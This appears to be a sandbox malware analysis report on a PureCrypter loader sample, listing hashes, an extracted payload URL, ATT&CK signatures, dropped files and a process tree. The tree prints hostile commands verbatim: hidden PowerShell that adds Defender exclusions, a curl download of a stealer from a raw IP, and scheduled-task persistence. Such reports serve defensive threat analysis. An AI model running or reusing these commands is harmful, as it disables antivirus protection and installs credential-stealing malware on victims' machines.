purecrypter | c8f27a841f726761652f562c1e2c61b1eb4490c8b7bdd264f6fd08b8e5d92e4b

Analysis

max time kernel
83s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
28-02-2023 00:58

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General

Target

c8f27a841f726761652f562c1e2c61b1eb4490c8b7bdd264f6fd08b8e5d92e4b.exe
Size

1.3MB
MD5

f1c29ba01377c35e6f920f0aa626eaf5
SHA1

7b2c191bc2d5d549c5e65613f93d59ece1842f02
SHA256

c8f27a841f726761652f562c1e2c61b1eb4490c8b7bdd264f6fd08b8e5d92e4b
SHA512

449a9d0ec42f83be09ef7a258f50f3d07728bb9f06361dc4aebdcbcce0ca010a3c894a5d27d98f197d6b4b85be4e3639656ae75a0216e8e169c54717ad2a85f0
SSDEEP

24576:hT+ua8m657w6ZBLmkitKqBCjC0PDgM5AVnipXD1Z+7:hcVV1BCjBG2

Score

10^/10

purecrypter downloader loader

Malware Config

Extracted

Family

purecrypter

https://cents-ability.org/loader/uploads/noicon_Ujizjydo.bmp

Signatures

PureCrypter
PureCrypter is a .NET malware loader first seen in early 2021.
loader downloader purecrypter

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Control Panel\International\Geo\Nation	c8f27a841f726761652f562c1e2c61b1eb4490c8b7bdd264f6fd08b8e5d92e4b.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Control Panel\International\Geo\Nation	Stearler.exe

Executes dropped EXE 2 IoCs

pid	Process
1408	noicon.exe
952	Stearler.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
212	schtasks.exe
2188	schtasks.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4552	powershell.exe
4552	powershell.exe
5056	powershell.exe
5056	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1408	noicon.exe
Token: SeDebugPrivilege	4552	powershell.exe
Token: SeDebugPrivilege	5056	powershell.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 4392 wrote to memory of 1408	4392	c8f27a841f726761652f562c1e2c61b1eb4490c8b7bdd264f6fd08b8e5d92e4b.exe	84
PID 4392 wrote to memory of 1408	4392	c8f27a841f726761652f562c1e2c61b1eb4490c8b7bdd264f6fd08b8e5d92e4b.exe	84
PID 4392 wrote to memory of 1408	4392	c8f27a841f726761652f562c1e2c61b1eb4490c8b7bdd264f6fd08b8e5d92e4b.exe	84
PID 4392 wrote to memory of 952	4392	c8f27a841f726761652f562c1e2c61b1eb4490c8b7bdd264f6fd08b8e5d92e4b.exe	85
PID 4392 wrote to memory of 952	4392	c8f27a841f726761652f562c1e2c61b1eb4490c8b7bdd264f6fd08b8e5d92e4b.exe	85
PID 4392 wrote to memory of 952	4392	c8f27a841f726761652f562c1e2c61b1eb4490c8b7bdd264f6fd08b8e5d92e4b.exe	85
PID 4392 wrote to memory of 2376	4392	c8f27a841f726761652f562c1e2c61b1eb4490c8b7bdd264f6fd08b8e5d92e4b.exe	86
PID 4392 wrote to memory of 2376	4392	c8f27a841f726761652f562c1e2c61b1eb4490c8b7bdd264f6fd08b8e5d92e4b.exe	86
PID 2376 wrote to memory of 212	2376	cmd.exe	88
PID 2376 wrote to memory of 212	2376	cmd.exe	88
PID 2376 wrote to memory of 2188	2376	cmd.exe	89
PID 2376 wrote to memory of 2188	2376	cmd.exe	89
PID 952 wrote to memory of 4560	952	Stearler.exe	90
PID 952 wrote to memory of 4560	952	Stearler.exe	90
PID 952 wrote to memory of 4560	952	Stearler.exe	90
PID 4560 wrote to memory of 4552	4560	cmd.exe	93
PID 4560 wrote to memory of 4552	4560	cmd.exe	93
PID 4560 wrote to memory of 4552	4560	cmd.exe	93
PID 4560 wrote to memory of 5056	4560	cmd.exe	94
PID 4560 wrote to memory of 5056	4560	cmd.exe	94
PID 4560 wrote to memory of 5056	4560	cmd.exe	94
PID 4560 wrote to memory of 4780	4560	cmd.exe	95
PID 4560 wrote to memory of 4780	4560	cmd.exe	95
PID 4560 wrote to memory of 4780	4560	cmd.exe	95

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\c8f27a841f726761652f562c1e2c61b1eb4490c8b7bdd264f6fd08b8e5d92e4b.exe
"C:\Users\Admin\AppData\Local\Temp\c8f27a841f726761652f562c1e2c61b1eb4490c8b7bdd264f6fd08b8e5d92e4b.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4392
- C:\Users\Administrator\Desktop\DROP\noicon.exe
  "C:\Users\Administrator\Desktop\DROP\noicon.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1408
- C:\Users\Administrator\Desktop\DROP\Stearler.exe
  "C:\Users\Administrator\Desktop\DROP\Stearler.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:952
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7zS98BA.tmp\Testobfusc.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4560
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -ep bypass -w hidden -Command Add-MpPreference -ExclusionExtension ".vbs"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4552
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -ep bypass -w hidden -Command Add-MpPreference -ExclusionPath "C:\Users\Public\Downloads"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5056
  - - C:\Windows\SysWOW64\curl.exe
      curl http://140.82.34.147/Stealer.exe -o C:\Users\Public\Downloads\Stealer.exe
      4⤵
      PID:4780
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2376
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "testM" /xml "C:\Users\Admin\AppData\Local\Temp\f1.xml"
    3⤵
    - Creates scheduled task(s)
    PID:212
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "test" /xml "C:\Users\Admin\AppData\Local\Temp\f2.xml"
    3⤵
    - Creates scheduled task(s)
    PID:2188

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
9e30fd5104c4876d2a2b993119a5763e

SHA1
c36963bcf35c684024ddb7c51107636609cdcaa1

SHA256
9310c0c07030576929319cc13a17dd315307caa7ea96d61c6a4fe0336f07d3d0

SHA512
614080dd581930560c6f432dea4c974ad0c0f095157a6f58c45d58b51253cd8f2fb48266dec15533898aed0962bad61914dae7fc900916201b8586c87b1b7a98

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS98BA.tmp\Testobfusc.bat

Filesize
14KB

MD5
40e65da3d99568737a62d30060539f23

SHA1
c5b616eb054a850b019da2d19e42b82575a269c1

SHA256
a9ea79963c53c3756fc752d4a2978a86de6038fc728fabc200bc87cd938406e5

SHA512
ef19c1001097545955c2d4c3de48bcda7633459577cf3f54653ae0c89fea5e61e763645bdcd2027c303522c98a02893df1f7195b3d26d38a808e7cc78a5c325d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_l0zuycsk.brc.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\f1.xml

Filesize
1KB

MD5
e72ae2ea8505b32bd7b3538c336922ab

SHA1
7eeb1c8c12227f6ea22305446a677aef747ad3ca

SHA256
a764aaaca9c6c4f5f9057fe5ad6da7afc953302afe877d1877c8a08828786e23

SHA512
b5d90006efb0200c8c7396229326fc380e5c6732786e9d57c4d3352e8157faa1a829d79b1532aa6e84ba816f55d476cd57ebcc448e00467186a59bf3eb2f0dd6

Download Submit
C:\Users\Admin\AppData\Local\Temp\f2.xml

Filesize
1KB

MD5
d88899226309bb38cea2e30d33dc4b88

SHA1
14432e6088ddcf82a92d6137ac7707932c9a2ddf

SHA256
0d23f8be57f264e7a5b0c2f0606608df3bf69270c76cf21e4f0869348cfff1a2

SHA512
8d954bb52537c181bf1d4a7797e930264088803b679c86260e0fcbe5cdb9b57c72bfd254f349d39842dcb44911d3019f576bd1321bb11da6f05bd0859bdf87d6

Download Submit
C:\Users\Administrator\Desktop\DROP\Stearler.exe

Filesize
127KB

MD5
c07c33c5e7c12107f2788280ad31c391

SHA1
8e14f012e98c39d6b20fe14a7532f299e5c001a0

SHA256
389b207183e0ea0fbc4beac9155486c5e6641d20aebd49eeaaa360dde72b7967

SHA512
8109a67532de5e35036680b66e2bdf06aa5067f1e601c4cf46f4c21721dc9dc3b2a65fcb77e01b74fa4246e1121ee058d81e8ec20c71dd8a2d906a73af88b0a1

Download Submit
C:\Users\Administrator\Desktop\DROP\Stearler.exe

Filesize
127KB

MD5
c07c33c5e7c12107f2788280ad31c391

SHA1
8e14f012e98c39d6b20fe14a7532f299e5c001a0

SHA256
389b207183e0ea0fbc4beac9155486c5e6641d20aebd49eeaaa360dde72b7967

SHA512
8109a67532de5e35036680b66e2bdf06aa5067f1e601c4cf46f4c21721dc9dc3b2a65fcb77e01b74fa4246e1121ee058d81e8ec20c71dd8a2d906a73af88b0a1

Download Submit
C:\Users\Administrator\Desktop\DROP\Stearler.exe

Filesize
127KB

MD5
c07c33c5e7c12107f2788280ad31c391

SHA1
8e14f012e98c39d6b20fe14a7532f299e5c001a0

SHA256
389b207183e0ea0fbc4beac9155486c5e6641d20aebd49eeaaa360dde72b7967

SHA512
8109a67532de5e35036680b66e2bdf06aa5067f1e601c4cf46f4c21721dc9dc3b2a65fcb77e01b74fa4246e1121ee058d81e8ec20c71dd8a2d906a73af88b0a1

Download Submit
C:\Users\Administrator\Desktop\DROP\noicon.exe

Filesize
16.0MB

MD5
fdd4cd11d278dab26c2c8551e006c4ed

SHA1
f0ef434d38fa11f8bc38cbc90874ca582867b214

SHA256
80d4414ca76e050007cb39c7fb598e1828ad168bea5725fb5466ee9388d6fa05

SHA512
9333eaba36a12bb0ab260c553bbed6ddb872fc42b05a2cf3552702c298b3d01d653467a00caa1b5232e9a828dce3810e67e08d1f2e245e4356248bf337fb96bb

Download Submit
C:\Users\Administrator\Desktop\DROP\noicon.exe

Filesize
16.0MB

MD5
fdd4cd11d278dab26c2c8551e006c4ed

SHA1
f0ef434d38fa11f8bc38cbc90874ca582867b214

SHA256
80d4414ca76e050007cb39c7fb598e1828ad168bea5725fb5466ee9388d6fa05

SHA512
9333eaba36a12bb0ab260c553bbed6ddb872fc42b05a2cf3552702c298b3d01d653467a00caa1b5232e9a828dce3810e67e08d1f2e245e4356248bf337fb96bb

Download Submit
C:\Users\Administrator\Desktop\DROP\noicon.exe

Filesize
16.0MB

MD5
fdd4cd11d278dab26c2c8551e006c4ed

SHA1
f0ef434d38fa11f8bc38cbc90874ca582867b214

SHA256
80d4414ca76e050007cb39c7fb598e1828ad168bea5725fb5466ee9388d6fa05

SHA512
9333eaba36a12bb0ab260c553bbed6ddb872fc42b05a2cf3552702c298b3d01d653467a00caa1b5232e9a828dce3810e67e08d1f2e245e4356248bf337fb96bb

Download Submit
memory/1408-165-0x00000000002D0000-0x00000000002D8000-memory.dmp

Filesize
32KB

Download
memory/1408-168-0x0000000004C50000-0x0000000004C60000-memory.dmp

Filesize
64KB

Download
memory/1408-224-0x0000000004C50000-0x0000000004C60000-memory.dmp

Filesize
64KB

Download
memory/4392-136-0x000000001C580000-0x000000001C590000-memory.dmp

Filesize
64KB

Download
memory/4392-137-0x000000001C590000-0x000000001C5B2000-memory.dmp

Filesize
136KB

Download
memory/4392-134-0x0000000000AC0000-0x0000000000B36000-memory.dmp

Filesize
472KB

Download
memory/4392-135-0x0000000000850000-0x000000000086E000-memory.dmp

Filesize
120KB

Download
memory/4392-133-0x00000000001B0000-0x00000000002F8000-memory.dmp

Filesize
1.3MB

Download
memory/4552-191-0x000000006F5B0000-0x000000006F5FC000-memory.dmp

Filesize
304KB

Download
memory/4552-204-0x000000007F620000-0x000000007F630000-memory.dmp

Filesize
64KB

Download
memory/4552-176-0x00000000051C0000-0x00000000051E2000-memory.dmp

Filesize
136KB

Download
memory/4552-178-0x0000000005B70000-0x0000000005BD6000-memory.dmp

Filesize
408KB

Download
memory/4552-188-0x00000000061A0000-0x00000000061BE000-memory.dmp

Filesize
120KB

Download
memory/4552-189-0x0000000004CF0000-0x0000000004D00000-memory.dmp

Filesize
64KB

Download
memory/4552-190-0x0000000006770000-0x00000000067A2000-memory.dmp

Filesize
200KB

Download
memory/4552-175-0x0000000005330000-0x0000000005958000-memory.dmp

Filesize
6.2MB

Download
memory/4552-201-0x0000000006750000-0x000000000676E000-memory.dmp

Filesize
120KB

Download
memory/4552-202-0x0000000007AE0000-0x000000000815A000-memory.dmp

Filesize
6.5MB

Download
memory/4552-203-0x00000000074A0000-0x00000000074BA000-memory.dmp

Filesize
104KB

Download
memory/4552-177-0x00000000059D0000-0x0000000005A36000-memory.dmp

Filesize
408KB

Download
memory/4552-205-0x0000000007500000-0x000000000750A000-memory.dmp

Filesize
40KB

Download
memory/4552-206-0x0000000007730000-0x00000000077C6000-memory.dmp

Filesize
600KB

Download
memory/4552-207-0x00000000076D0000-0x00000000076DE000-memory.dmp

Filesize
56KB

Download
memory/4552-208-0x00000000077F0000-0x000000000780A000-memory.dmp

Filesize
104KB

Download
memory/4552-209-0x0000000007720000-0x0000000007728000-memory.dmp

Filesize
32KB

Download
memory/4552-174-0x0000000004CF0000-0x0000000004D00000-memory.dmp

Filesize
64KB

Download
memory/4552-172-0x0000000004BD0000-0x0000000004C06000-memory.dmp

Filesize
216KB

Download
memory/4552-173-0x0000000004CF0000-0x0000000004D00000-memory.dmp

Filesize
64KB

Download
memory/5056-213-0x0000000002F30000-0x0000000002F40000-memory.dmp

Filesize
64KB

Download
memory/5056-225-0x0000000002F30000-0x0000000002F40000-memory.dmp

Filesize
64KB

Download
memory/5056-226-0x000000006F5B0000-0x000000006F5FC000-memory.dmp

Filesize
304KB

Download
memory/5056-236-0x000000007EE60000-0x000000007EE70000-memory.dmp

Filesize
64KB

Download